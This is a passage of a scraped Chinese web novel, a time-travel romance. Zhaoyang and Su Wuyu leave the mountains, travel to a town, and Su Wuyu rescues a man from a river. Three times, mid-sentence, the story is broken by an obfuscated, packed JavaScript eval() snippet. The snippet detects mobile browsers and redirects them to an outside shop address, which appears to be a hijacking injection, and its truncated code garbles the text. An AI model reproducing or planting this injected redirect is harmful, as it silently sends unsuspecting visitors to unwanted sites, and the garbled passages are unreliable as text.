“……”苏无虞一时语塞,他不是不信昭阳,只不过她的笑声也太豪迈了点吧,再者,一个害羞的姑娘真的会说这样的话吗? “睡吧,你也累了。”半响,苏无虞才支支吾吾地吐出这么一句不着边际的话。 不过,昭阳却不以为然,“那你可不许再不高兴了啊。”她托着腮帮子,用手肘支着身子趴在床上,一脸不安地望向床里侧依旧背对着自己的人。 “我,我没有。”苏无虞小声道。 “没有?”昭阳狐疑地反问,然而在思索片刻后,她却不禁嗤笑出声,忍不住想要逗逗他,“那你结巴什么?说谎话可不是乖宝宝了噢。” 碍于房里的黑暗,昭阳根本看不清苏无虞此刻脸上的表情,不过依着他的性子,估计此刻也好看不到哪里去,“没,我没说谎,”果不其然,他的结巴似乎更严重了,“我,我,我现在的确没有不高兴。” “哦,这样啊,那就是刚才有咯?”昭阳眼见着他们之间的相处模式似乎又回到了从前,不禁心情大好,但碍于眼下确实已经不早了,自己的身子又是累极,愣是不自觉地打了个哈欠,便准备先放过苏无虞,“好啦,不逗你了,睡觉吧。” “嗯。”一旁的苏无虞如蒙大赦,忙不迭地轻应了一声。 就这样,原以为尴尬的夜晚总算是熬了过去。而待到第二日昭阳醒来时,身旁的木床竟早已是空荡荡的了。 经过昨夜的一番坦白后,昭阳顿觉心里舒坦了不少,故而在屋内简单梳洗了一番后,有些不明所以的她本打算去寻苏无虞,却不曾想还未等到她出门,他便已经端着两碗小米粥出现在了小间里。 上下打量了一番眼前的少年,此时的他并未穿着自己买的那件月白长袍,而是披着一件宽大的黑色布衣,只见他小心翼翼地将粥碗搁在了木桌上,不过,此刻昭阳的注意力却难得的没有落在香喷喷的小米粥身上,而是全神贯注地凝视着苏无虞的脸庞。 片刻后,昭阳使劲咽了咽口水,略点着点儿难以置信地看着苏无虞道,“天哪,无虞,这么大清早的你是去煤炉里拱了一圈吗?”也不怪昭阳会有这么不着边际的猜想,只是苏无虞此刻的脸上的确横七竖八地蒙上了好几道灰痕。 “只是方才劈了点柴,顺道帮着程嫂生了个火而已,”苏无虞经她这么一说也立马意识到自己现在狼狈的形象,颇为不好意思地道,“我这就去将脸洗了。” 昭阳望着他先是羞赧地垂下头挠了挠后脑勺,而后又是一副落荒而逃的模样,不禁觉得自己又要再一次被这只纯情的白兔给萌杀了。 好在苏无虞的动作倒是快得很,没一会儿便又重新顶着他那张人畜无害的俊脸回到了小间,而此时早已是犹如饿狼的昭阳见他终于回来了,赶忙抄起勺子就开始往嘴里灌起了小米粥,她在山里呆了那么多天,最想念的可就数这程嫂煮的热腾腾的粥了。 “慢点,别噎着了。”一边的苏无虞显然有些惊着了,少女明明长着一张出水芙蓉般的清丽脸蛋,怎的一眨眼却成了一副绿林好汉的吃相,真真是端的一副不食人间烟火模样,干的却是只食人间鱼肉的事儿啊,这太不可思议了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548144|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不消片刻,昭阳在如狼似虎般吞了一碗小米粥后,又不知从厨房的哪处摸出个窝窝头捧在手里啃了起来,待回到小间里,碍于肚子已经不那么饿了,昭阳嘴上的动作倒是收敛了不少,转而又开始将注意力投放到身旁那个和自己大相径庭的苏无虞身上。 只见他修长的大手执着瓷勺在碗中缓缓舀起了半勺小米粥,而后以一种极尽雍容闲雅之姿送到了嘴边轻抿入口,昭阳有些呆若木鸡地目睹着眼前少年这一系列儒雅从容的动作,完全和“奴隶”两个字毫不沾边啊。 “无虞,实话告诉我,你其实是落难乔装的腹黑王爷吧,不然就是那种流亡他乡的敌国皇子,再不济至少也是个被人追杀的天下第一庄庄主吧?”昭阳自惭形秽地掩了掩手中那个啃了一半的窝窝头,脑海里却是基本把穿越可能遇到的男主身份都过了一遍。 “嗯?何为腹黑?”苏无虞见她没头没脑地吐出一串不着边际的话,一时有些莫名。 昭阳本就要脱口而出,但转念一想,虽然她是随口提的,但这可不是自己刚刚用来形容他的词嘛,“啊,那个啊,就是说人善良纯真,就像你一样啊。” 苏无虞心下虽有些半信半疑,纯真善良的王爷,这个形容怎么都有点儿怪怪的。但当他抬首望向昭阳那张笑得明媚无邪的娃娃脸时,不知怎的,心下却也觉得这些都不那么重要了。 “我怎么可能会是那般金贵的人呢,”他放下手中的勺子,浓密的睫毛缓缓垂下,“十岁之前我都是与娘亲一起住在平州青凉县的一个小村子里的,我娘亲先前也算是闺阁小姐,故而才会教我些礼仪的。” 昭阳见他一副失神的模样,又想起曾经听苏无虞提及过他娘亲已故的事,心下虽有几分好奇,却也断不敢再提些什么,生怕戳到他的伤心处。 哪知,昭阳的这点心思却是瞒不过苏无虞,片刻后,但见他抬首望向身旁一脸愧疚又不知所措的少女,嘴角这才稍扯起一抹淡淡的弧度,“没事的,这些都已经过去了,昭阳你有什么想知道的尽管问便是了。” “啊?”昭阳颇为惊惶失措的睁大了眼睛,怎么这倒成了他安慰她了,平复了下心情,半响后她才支吾道,“那你爹呢?”其实本来她想问的是他怎么会变成奴隶的,但总觉得这似乎太直接了点儿,故而才换了个问题,他似乎从来没有提及过他的父亲。 “十岁前我都没有见过我爹,只知道他住在京城,后来娘亲过世了他才遣了人将我接去,只不过他府上的夫人并不喜欢我,还因此闹了一场得了病,故而我爹便将我送去了别处住下,后来,我也没再见过他。” 出乎意料,苏无虞在陈述这一段的时候,神情却是异乎寻常的平静,似乎是在说着别人的故事一般,然而,就是他这样的云淡风轻看在了昭阳眼里却是格外招人心疼。 于是,昭阳不禁在心中暗暗下定决心,哪天她要是有机会见到苏无虞那个冷血的渣爹,绝对要恶整他一番,虐到他家宅不宁为止,必须好好给她的小白兔出口恶气。 …… 11. 启程 这一日,昭阳正在院子外给几只鸡投喂米糠,这些活儿她穿越前可是从来没碰过的,一时颇感新鲜,再者昭阳本就喜欢些小猫小狗的动物,加上苏无虞现下已不需要她成日里围着照料了,于是,百般无聊的昭阳便成日里围着这几只鸡和看门的大黄狗闹腾。 “昭阳,别再追着鸡跑了,你将米糠撒在地上它们自然会吃的。”正在不远处劈柴的苏无虞实在是看不下去了,这才好心出言提醒。 哪知,昭阳似乎并不领情,依旧自我地在几只鸡身后跟着转悠,“我知道,可是你看它们成日里就知道在屋前走来走去,我这不是让它们多跑跑锻炼一下嘛,强健了体魄才好下蛋啊。”言罢,还不忘冲着苏无虞的方向自信地笑笑以示自己的高义。 好在,苏无虞早已习惯了她层出不穷的诡异逻辑,便也没再说什么,只顾着自己继续劈柴,反正待到她自个儿跑累了自然会停下的。 果不其然,不消一刻钟后,一抹宝蓝色的身影便一边喘着粗气一边摸着柴堆旁的小板凳坐下了。“下回别跑那么累了。”苏无虞见状颇为无奈地放下手中的活儿,转而起身去井边的水桶里舀了一竹筒的清水置于碗中递给了昭阳。 一阵牛饮过后,昭阳这才恢复了大半体力,闲来无事之余,便又开始盯着苏无虞好一通打量。说实话,他这么个若树临风的玉质少年现如今成天在山里头做着劈柴生火的活儿着实是有点儿明珠弹雀了,别的不说,头一个便是辜负了这么张好皮相。 昭阳思索着,忍不住摇头叹了口气,撇了撇嘴道,“无虞,你有没有想过往后去哪儿?眼下你的伤也好的差不多了,咱们老在这儿住着也不是办法,虽然怪舍不得程嫂程伯他们的。” “嗯,”苏无虞应了一声,但是依旧没有停下手上的活儿,“我也不知能去哪儿,原先那府上应是以为我死了,京城那边便更不用说了,我在或不在都是没什么两样的。” 昭阳听罢,心中也不禁染上一层苦涩,总结了前几日无意间的各种对话,她推测苏无虞被他那渣爹扔到了荒无人烟的京郊小屋后,应是遇到了什么歹人将其掳走并辗转当作奴隶卖给了这附近的一家暴发户。按照昭阳这个阅遍无数狗血小说的现代人思维来讲,这其中八成还藏着什么阴谋,但这毕竟是人家的家事,她一个外人也不好多问,只可怜了苏无虞这么个无辜的少年却成了个中牺牲品。 “傻瓜,就算那个暴发户以为你没死,你也一定是不能回去的,这种人缺德事干多了总有一天得栽沟里。”说到这儿昭阳又是一阵气,能将人折磨成这样的,绝对是个丧心病狂的变态。 哪知,苏无虞倒是并不在意,只是安之若素地笑了笑,转而抬起头一脸认真地望向昭阳,“那你有什么打算呢?” “我?”昭阳先是楞了一下,其实这几日来她也有想过这个问题,与传说中金手指大开的各路穿越女一对比,她这才发现自己来到这儿后其实过得也挺惨淡的,既没有家族身份又没有金银房产,人脉关系也仅限于这山里面的三个人,那个戴面具的是人是鬼还难说呢,绝世武功傍身什么的就更是扯淡了。 不过嘛,她倒也不是个消极怠工的人,毕竟也是先进了千百年的新时代女性,虽说现在过得寒碜了点儿,但并不代表往后也是这样,昭阳对自己还是有那么点儿小信心的。 于是,那一对晶亮的大眼睛灵活地转了一圈,脸上也跟着泛起一抹殷勤的笑意,昭阳整个人挪了挪身子,挨着苏无虞翘首企足道,“无虞啊,你看反正咱们俩都是没地方去的人,不如这样吧,干脆我们搭个伙一起去环游世界吧。” 美其名曰环游世界,其实就是下岗游民为了掩盖自己不务正业的事实,准备走一步算一步的完美说辞。 “环游世界?”苏无虞有些莫名地摸了摸后脑勺,“这是什么意思?” 昭阳差点忘了她与苏无虞之间的千年代沟,赶忙解释道,“这个嘛,就是去各地游山玩水,快意山河,浪迹天涯,闯荡江湖,嗯大致就是这个意思。” 苏无虞听罢,带着一副原来如此的表情哦了一声,转而又点了点头。昭阳见状自然大喜,然而,她还没开始高兴呢,却又见苏无虞思索了片刻后一脸疑惑地望向她淡淡道,“可是,咱们没有银子这样真的可以吗?” 呵呵呵呵……虽说天性纯良不是你的错,可是频频在人家得瑟的时候一针见血地拆台这一点实在是太不可爱了,昭阳在心中腹诽的同时,嘴角早已不自觉地连续抽搐了三下,“天无绝人之路,再不济就卖个艺讨个饭呗,饿不死就行。” 就这样,还未彻底搞清楚状况的苏无虞在昭阳的各种软磨硬泡兼半诱半拐下,终于还是同意了这个颇有些不切实际的计划。而昭阳也是个行动派,这边一得到苏无虞的首肯,那厢便开始张罗起了行前的各类准备。 是以在五日后的山间小道上,出现了这样一幅情景,一袭月白长袍的少年身背着一个粗布包袱静立在树荫下,满眼无可奈何地凝视着对面那个坐在石头上一脸愁云惨淡的女子。 这还是苏无虞记事后头一遭面对同龄的女孩子这般,一时间整个人都有点儿无所适从,可理智又告诉他自己此刻必须做点什么,于是,鬼使神差般,他解下了身后的包袱并从中摸出了一个白乎乎尤带着点温度的包子,“昭阳,别哭了。” 本就沉浸在与程嫂程伯分别的离愁中的昭阳下意识地抬首瞥了一眼跟前的少年,方才余光见他伸手向自己,本以为他是想安慰自己一番,哪知竟是朝自己递了个包子,昭阳顿觉世界一片灰暗,“你干嘛,我又不是小猫小狗。”言罢,眼中几乎就要挤出泪来。 苏无虞没料到她的反应会和自己预想的南辕北辙,虽然不甚明白状况究竟出在了哪儿,但还是忙不迭地解释道,“不是这样的,我只是想让你高兴。”紧接着,许是怕昭阳不信,他又小声补充了一句,“往常你见到它都会很高兴的。” 很显然,这的确是个不争的事实,昭阳一时竟觉无从辩驳,只得不甘心地恨恨瞪了苏无虞一眼,自己怎么就挑了个这么敦实且不解风情的搭档呢,“我现在不饿,收起来吧”。 苏无虞听罢倒是没有再多说些什么,转而小心地将包子重新用纸包好置于行囊中,待到他不紧不慢地完成这一系列动作,这才缓缓开口,“我知你眼下心里头不舒坦,于我又何尝不是呢,毕竟朝夕相处了这么长时间,又是对我们有莫大的恩情。”说到这儿,他不自觉地叹了一口气,“只是,昭阳你须要明白,既你本就不属于那儿,这一天终究还是会来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548145|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯?”看着眼前人一脸认真地望向自己,如画的剑眉微微蹙起,潋滟的眸中是一汪明澈如玉的清泉,昭阳一时有些手足无措,不明他怎的一下子这般严肃起来,“你怎知我本就不属于那儿?说不定我就爱扎根在深山老林里头呢,莫非你还会看相不成。” “自然不是,”苏无虞的眸子垂下,声音也渐轻了几分,“只是我自个儿这么琢磨的,且你本就是与其他人不同的。” 昭阳见他一副低眉顺目的模样,一时更是颇感莫名,“那你呢?你又是为什么要离开的?”虽说她喋喋不休地在他跟前唠叨了半天,可他这不是没一会儿便答应了下来嘛,其实碍于苏无虞先前糟了那么多罪,若他真是想要在山间继续过着悠然的日子,自己也是断不会勉强他的。 苏无虞显然没料到她会这么问,先是愣了片刻,而后才吞吞吐吐道,“你一个姑娘家又不熟识这儿的路,怎好让你一个人走,我虽不懂什么拳脚功夫,但好歹也能有个照应,再者……” 他的话说到一半却突然犹豫了起来,昭阳方才听着正觉窝心,此刻自然是穷追不舍了,“再者什么?” “我本是个无用之人,蒙你不弃,也算是寻一点活下去的由头吧。”苏无虞说这话的时候倒是没有太多的自怜自艾,反倒是颇有些释然的味道,“彼时我尚且命悬一线,但你说过的话,我都是记得的。” “诶?我说了什么?”昭阳承认自己本就不是个安静的主儿,就算只是在他重伤未愈的时候那说过的话也得数以千百计了,一时间她还真不知道自己到底说了什么,印象中那时候自己似乎还没想到要出来闯荡江湖吧。 “这……”苏无虞垂下了眸子,苍白的脸颊上竟适时飞上了一抹可疑的绯红,半响,方才听到他支吾着低喃了一句,“那时你说的,你照顾我,而我也可以陪伴你,故而只要你不嫌弃,我便是不会走的。” 昭阳听罢起初先是愣了愣,仔细一想,这话似乎的确是当初自己在安慰苏无虞的时候提过的,虽然当日她只是随口一说,却不曾想到他竟是上了心。现如今他说这番话虽多少有几分报恩的意思,但昭阳的心里头却还是感受到了一丝暖意。 如此一来,方才还萦绕在心头的阴霾倒是霎时退散了大半,且见陷入沉默中的苏无虞两颊泛红更深,昭阳一时也微感心中涌起几分异样的情绪,便赶忙开口打破了尴尬的氛围,“无虞啊,你看程嫂和程伯膝下无子无女又不见和什么外人打交道,反正咱们也答应了往后每年都会回去探望他们,不如以后临近年关我们就回到这山里来与他们一道过年吧。” “好啊,”苏无虞讷讷地应了一声,“算起来我也有些年没有与人一道过年了。” 昭阳见他顿时一副失神的模样,知他定是想到了已故的娘亲,赶忙起身抓住了他的衣襟,而脸上则是迅速换上了明媚的笑颜,“往后都不会了,你可以与我一道过啊,咱们可是说好了的。” 苏无虞垂首望向立于他胸前的昭阳,方才还见她是伤春悲秋的幽怨摸样,一会子便又活蹦乱跳了起来,轻应了一声,虽有些不明所以,可不知不觉中,脸上虽还是一如往常的平静,但眼中却是含了暖意,捎带着唇畔也似跟着一块儿上扬了起来。 …… 12. 荷灯 游山玩水般走走停停了十来天,碍于兜子里只揣着临行前程嫂硬塞给的几块碎银,这期间自是免不了拮据着些过日子,所幸昭阳本就对这些不甚计较,即便有时候还需在野外露宿,但她仍是觉得这般无拘无束的日子甚是惬意,何况身边还有个心思细腻的人陪着。 早前苏无虞的身子未痊愈时她倒是没有多加留心,可这些天相处下来昭阳才发现他竟是个如此体贴入微的主儿,照顾起人来可是有板有眼,弄得昭阳只觉得自己现如今就似个大爷般被他惯着,就只差衣来伸手饭来张口了。 不过,昭阳到底还是有点儿居安思危的精神,眼下凡事都有他料理着,舒服归舒服,怕只怕自己会就此生了惰性,这过分依赖别人总是不大好,而昭阳有时候也是个实诚得有点儿傻的,心下这么思忖着嘴上竟不自觉就问出了声,“无虞,你为什么要对我这么好呢?” 一旁的苏无虞本是在替昭阳剥着刚摘的橘子,经她这么一问,自己也说不上来这是为了什么,只得讷讷地瞅了她一眼,“你是姑娘家,凡事我能做的便也就多担待些,不过你若是觉得不妥,往后我自会注意的。” 就算是姑娘家,到底剥个橘子还是能自己做的吧,整的她仿佛生活不能自理似的。昭阳虽心下觉得他这是歪理,但自己本就是无心一问,可见他似乎曲解了她的用意,不免认真解释道,“我哪是那个意思,只是觉得事无巨细都需你操心,我这不是怕你累着嘛,再者,你这样我会愈发依赖你的,倘若往后你不在了我可怎么好。” 昭阳只觉得自己是单纯的吐露心声,却没有仔细琢磨这么一番话背后的深意,但苏无虞到底不是傻的,她的话还没说完,这厢耳根子便又烫了起来,支吾了半天才出声,“往日衣食住行都是我自个儿料理的,说起来屋子不大但需操心的柴米油盐却是比如今要繁琐多了,没有这累不累的说法,”他顿了顿,似是犹豫了一下,但最终仍是开了口,“其它的你便更不用担心了,除非你不愿再与我一道了,不然我都是会在的。” 没料到他会这么说,但昭阳听罢却是觉得心头暖暖的,一时心情大好,抄起手中一掰橘子就往苏无虞嘴里送,“哎呀,你待我如此好,我真是无以为报,眼下只能先借花献佛了,甜不甜?” 苏无虞愣了愣一时没回过神,只轻应了一声,心中却暗想着这姑娘也忒容易满足了,自己只不过是做了点儿力所能及的琐事就叫她乐成这样了,仔细想想若要是和她当初不眠不休的照料比起来,自己眼下做的其实根本都不算什么。 “你若是爱吃回头再置一些,不过眼下瞧着天色也快暗下来了,咱们还是先找家客栈投宿为好。”说着,苏无虞便将行囊中最后一个橘子剥净了递到昭阳手上。 不过,这回昭阳的注意力似乎并不在橘子上,犹豫了半响才颇有些为难地扯了扯苏无虞的袖子,“咱们真的要住客栈么?兜里的银子会不会不够?” 苏无虞回首望着身侧的人儿,夕阳映照着那张秀丽的脸蛋,她紧蹙的眉头让他的心头莫名地有些发酸,本是好好的一个姑娘家可自打遇到他后似乎总是显得狼狈极了,在郊外没有人家也就罢了,这好不容易到了城镇,怎么好再叫她委屈了,“城里不似在山里,若是不住店便只能猫在桥洞里过一宿了,也不是瞧不上人家,但乞儿的地头总是乱得很,我记得昨儿个你不是还念叨着要好好洗洗么?” 昭阳经他这么一说立马动摇了,想想自己的确好几天没有正儿八经洗个澡了,再不沾水只觉得自己都要发臭了。再者,别看那些乞丐平日里一脸老弱病残样儿,这要是真遇上抢地盘抢吃食的那可是立马打了鸡血变身练家子,个个都耍的一手降龙十八掌,她还真是开罪不起。 “你若是信得过我,那么银子的事便不要再操心了,”苏无虞瞅了瞅她,见她这副表情心下也知她犹豫了,转而又好声好气地推波助澜道,“你们那儿兴不兴放荷灯的?今儿个正赶上十五,回头安置好了你若是高兴咱们可以到河道边上瞅瞅。” 这么一说可正中了昭阳下怀,横竖她也不是个行事畏手畏脚的人,饿不死就成了,眼下的心思全都放在了那传说中的荷灯上头,也管不了那么多了。 就这样,两人沿着街巷走了一阵子便拐进了一家客栈,话虽这么说,但手头的银子到底也不能乱花,太奢华的住不得,好在苏无虞上下打量了一番这家,店面陈设虽简单倒也还算干净,便要了两间相邻的厢房。 从前昭阳是为了糊弄程嫂二老收留他们才扯谎说她和苏无虞是夫妻的,弄得后来为了圆谎不得不在一间屋子里挤了那么长时间,如今出了山里头自然是不同了,到底男未婚女未嫁的也不好再住到一块儿了。道理都懂,但习惯了晚上身边有个人可以说说话,一下子那股子安然的感觉没了,昭阳只觉得整颗心都有点儿空落落的。 不过,她很快就回过了神,只觉得自己方才的惆怅来得有些莫名,怎么整的她没了他便睡不好觉了似的,这完全不是她惯有的风格啊。想着,便大马金刀地往床榻上一躺,顺带着来回滚了两圈,瞧瞧,一个人占一张床还是很舒坦的。 正当昭阳四仰八叉地斜在床上自娱自乐时,门外却响起了一道喑哑的声音,“昭阳,要不要去外头转转?”床上人听了立马跳了起来,捋了捋散落的碎发便冲到了房门口。 其实这回算是昭阳来到这个时代后头一回逛街,上回随着程伯行色匆匆压根就没怎么晃悠,旁的时候就更不用说了,她就像白毛女似的一头扎进了山里,人影都少有半个别说是这些七七八八的铺子和摊上五花八门的小物件了。 说实话,一个二十一世纪的现代人什么没见过,但昭阳好歹也是头一回见这些古代的小玩意儿,新鲜感是免不了的,不过若说有什么特别想要的,一时倒还真找不出。朱钗步摇之类的虽精致,可她毕竟没这个习惯往头上戳那么多小棍子,这闹腾起来冷不防还怕扎到脑门呢,胭脂水粉就更不用说了,要是自己哪天涂得猴屁股似的往苏无虞面前一站,只怕他要以为年画上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548146|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的福娃显真身了呢。 越想越觉得自己真是个贤惠的女子,这般懂得勤俭持家实在是难得,昭阳顿觉自豪万分连身板都不由地跟着挺了挺。不过,她这般无欲无求的模样落在苏无虞的眼中却是另一番光景,他虽然不甚了解姑娘家究竟喜欢些什么,但左不过就是些漂亮的东西,可昭阳逛了这么久都没有表现出过多的兴趣,只怕是碍于银子的关系,这又不免让他有点内疚起来。 不过,没一会儿,昭阳却突然一反常态,几乎是两眼放光地瞟向了苏无虞,“无虞,你能不能给我一个铜板?” 苏无虞顺着她方才目光的方向瞧了瞧,四五步开外有个卖镯子的妇人正蹲坐在街边卖力地吆喝着,他只觉心下瞬间明了起来,利索地从怀中摸出了几枚铜板外加一小块碎银搁在了昭阳的手中,“一个铜板怕是不够,你难得有欢喜的东西,别拘着银子的事儿,挑中意的买就是了。” 昭阳见他往自己手中塞了这么多钱一时有些愣神,从前有人说过男人掏钱的时候最帅那时她还不以为意,可方才苏无虞那一系列浑然天成的动作简直生生将她秒杀,恍惚间昭阳只觉得下一秒他的台词应该是“小意思,拿去随便花。”天哪,这活脱脱就是古代版的霸道总裁啊,只是有一点她不是很明白,她只不过是想买两块豚皮饼吃,用的了这些钱么?还让她挑中意的买,这饼不都长一个样么,要不然她再到隔壁摊儿买几个鱼包子尝尝? 心里头虽然充斥着十万个为什么,但昭阳还是默不作声地拿着钱挪步到了心仪已久的豚皮饼摊旁,挑了两块最大的,这才颇觉心满意足地回到了苏无虞站着的地方。“差点叫你给唬了,我还以为这饼有多金贵呢害我犹豫了半天,你瞧,我说一个铜板就够了吧。”说着便将剩下的银子和一块纸包着的豚皮饼一道塞向了眼前人的手中。 苏无虞愣了愣,但当意识到自己会错了意后又不免有些哭笑不得,他怎么给忘了她本就是个不按寻常姑娘逻辑行事的主,“饿了?是我疏忽了,该先给你买点吃的。” “这哪能算是你的疏忽,就算是我爹还不负责天天给我管饭呢,你这人就是这样什么都爱往自己身上揽,这点得改一改。”昭阳的嘴里一边吧唧着香喷喷的饼一边脸上还故作严肃,其实她一点都不饿,只不过是馋罢了。 听了昭阳的话,苏无虞只是轻笑了一声并未多言,转而便换了个话题,“前头就是河道了,秦洧两水素有秉烛招魂续魄之说,这荷灯原只是作祭祀悼念用的,如今却更多的是祈福,你若是觉着有意思,咱们也可以买一盏。” 从前只在电视里瞧过那些个古代善男信女的在河边点亮一盏小花灯漂于水上再顺便谈个情说个爱什么的桥段,现在自己也可以亲自玩玩,昭阳只觉得有些跃跃欲试起来。 当下,她拉着苏无虞的袖子便加快了脚上的步伐朝着河边走去,哪知,这还没瞧见什么荷灯的鬼影,便只听得人群中一声惊呼。 “不好了!有人落水了!” …… 13. 落水 袅袅白烟争先从覆着斑驳铜绿的壶口飘渺而出,伴随着开水沸腾后愈渐加快的翻滚声,整个土炉子周围都弥漫开了层层水雾。原本正立在一旁愣神的昭阳见状赶忙用抹布衬着手迅速将铜炉拎了起来,一左一右将地上的两个小木桶都灌满了热水,这才又铲起一簸箕沙土将烧得正旺的炉子给熄了火。 想起不到一个时辰前发生的事,她现在还有些惊魂未定。当苏无虞一头扎进那黑漆漆的河水中时,昭阳只觉得自己的大脑都停工了两秒,可眼见着河里头那个原本还在上下扑腾的落水者渐渐没了动静,她知道自己是如何都没法叫苏无虞停下的。 所幸,过了不消一刻钟,在岸边其它几个热心汉子的一道帮助下,总算是河里的两个人都有惊无险地上了岸。 初冬夜里的河水有多凉昭阳并不知道,她只知道苏无虞上岸后那冻得几近发紫的嘴唇和苍白如纸的脸色实在是太招人心疼了。想到这儿,手提着两桶热水的昭阳又不自觉地加快了脚上的步子。 用脚轻踢开虚掩着的木门,昭阳大马金刀地便冲进了屋子,那浑然天成的架势简直就像是沙悟净挑扁担那般驾轻就熟。 撩起袖子,她抄起一桶水就往盆子中倒,而后又轻车熟路地扯过挂在一旁的手巾在热水中搅了几下,轻轻拧了拧,二话不说就往正坐在圈椅上的人走去。 此时的苏无虞只着了一件刚换上的中衣,外头的罩衫还来不及穿好,只这么搭在了身上,看到昭阳踹门进来已是有些猝不及防了,这会子见她还顺带气势汹汹地绕到自己身后开始替他解起了头上的发带,这下子他整个人结巴的毛病又犯了起来,“放,放着吧,我自己,自己来就行。” 意料之中的事,昭阳连头都没有抬一下,专心只顾着一遍又一遍替他用热水擦拭着湿哒哒的头发,“小二哥那儿正忙着,烧洗澡水的事儿估计一时也办不好,我只能先这么给你擦一遍暖暖,没的又落下什么病根,你瞧你整个人都在发抖呢,还是捂好你的汤婆子乖乖坐着吧。” 苏无虞见她完全没有要停下的意思,晓得她的倔脾气又犯了,这会子估摸着九头牛都拉不回来,想想只得把接下来的话噎在了嘴里。不过,这厢没有发话,屋子另一角的屏风后却缓缓飘来了声响,“宋姑娘,你替无虞兄擦就好了,我可以自己来的。” 昭阳听罢只觉得嘴角不自觉地一阵抽搐,抬起头就朝着屏风的方向瞪了一眼,“谁说要替你擦了,那边还有一桶水,自己擦!” “咦,一样是落水的,怎么待遇就差那么多。”伴随着一声嘀咕,屏风后走出了一个约莫二十岁上下的年轻男子,倒映着昏黄的烛光,他那一头用白玉冠束起的乌发正同样湿漉漉地耷拉在脖子边上,虽说身上暂时穿着苏无虞的一件粗布衣衫,但他提在手里的却是一件绣工上乘的藏青色缎面锦袍。 男子的长相虽说不上有多么貌似潘安面若宋玉,但整张干净的脸庞也称得上温文儒雅,是以昭阳起初对他的印象还算是不错,可纵观他自从被捞上来后短短时间内的一系列言行举止,昭阳又立马推翻了先前自己的结论,这人不只是个自来熟,更是个实打实的二货! “什么叫一样,人家是好心跳下去救你来的,这叫见义勇为,你是自个儿投湖自尽的,那是想不开,怎么能一样呢。”昭阳一边又在水盆里搅了搅手巾,一边没好气地说道。 “别这么说,只不过是力所能及罢了,况且昭阳你误会了,仁秉兄他并非是想自尽,而是失足落水的。”坐在圈椅内的苏无虞见状好脾气地替那男子解释道。 显然,这个说辞深得那男子的心,只见他一边拧着自己那能挤出一盆洗脚水的锦袍,一边冲着那厢两人的方向拼命点头,“可不是,还是无虞兄你懂我,要不是我那帕子被风吹进了河里,我哪能在伸手捡的时候踉跄了一下,谁知这就顺道被身后看热闹的大婶给拱进了河里,可怜见的,那水真真将我给冻惨了。” 这边那男子冲着苏无虞一脸相见恨晚的表情,可昭阳的注意力却全然不在这儿,方才听见苏无虞称他为仁秉兄,再联系了一下男子方才在河边的一番自我介绍,昭阳只觉自己脑后挂起了三道黑线,“你的名字,不会是叫……陆仁秉?” 原本正在侃侃说着自己落水后惨痛经历的陆仁秉听到昭阳没头脑地来了那么一句,虽然不懂她这跳跃的思维逻辑,但还是诚恳地点了点头。 路人丙?有人居然还会给自己儿子起这种名字,昭阳好容易忍住了想要大笑出声的冲动,拼命憋着嘴角上扬的弧度,“你该不会还有两个哥哥吧,大哥叫路人甲,二哥叫路人乙。” “哪能啊,我可是咱们家三代单传的独苗,”陆仁秉莫名地摸了摸鼻梁,似是认真地思考了一番后又继续说道,“可惜了我爹娘年事已高,要不然赶明再给我生一两个弟弟我倒是觉着你这名字挺好听的。” 昭阳听罢倒吸了一口凉气,这莫非就是传说中的不是一家人不进一家门,这一家子果然连审美都是一个系列的,“是吗?我也这么觉得。”她扯着嘴皮子干笑了两声,“你方才说你是为了捡帕子才掉河里的,倒是……呃,风雅的很啊。”其实是娘娘腔的很。 其实昭阳也就是随口一提,不想那陆仁秉听了却好似被戳中了痛处,本还在侃侃而谈的他突然便忧郁了起来,“宋姑娘别打趣我了,我可是愁得慌啊。”说着整个人就这么瘫坐在了一旁的小矮凳上,由于他现在正穿着一件皱巴巴的墨绿色布衣,昭阳看着不知怎的只觉得像极了一棵腌坏了的咸菜。 不过,显然一旁的苏无虞可比昭阳厚道多了,见着人家一副伤春悲秋的模样,忍不住便开口慰问道,“可是遇到了什么难处?仁秉兄若是不嫌弃的话,倒是可以与咱们说说。” 心下虽觉得陆仁秉此人呆中泛傻,傻中泛二,但正因如此他倒也的确是个好相处的人,说话也不爱拐弯抹角,故而昭阳也在一旁附和道,“这话不假,既然在茫茫江河湖海中捞到了你,也算是大家有缘,你要是真有什么难处,咱们能帮得上忙的话自然也会尽力的。” 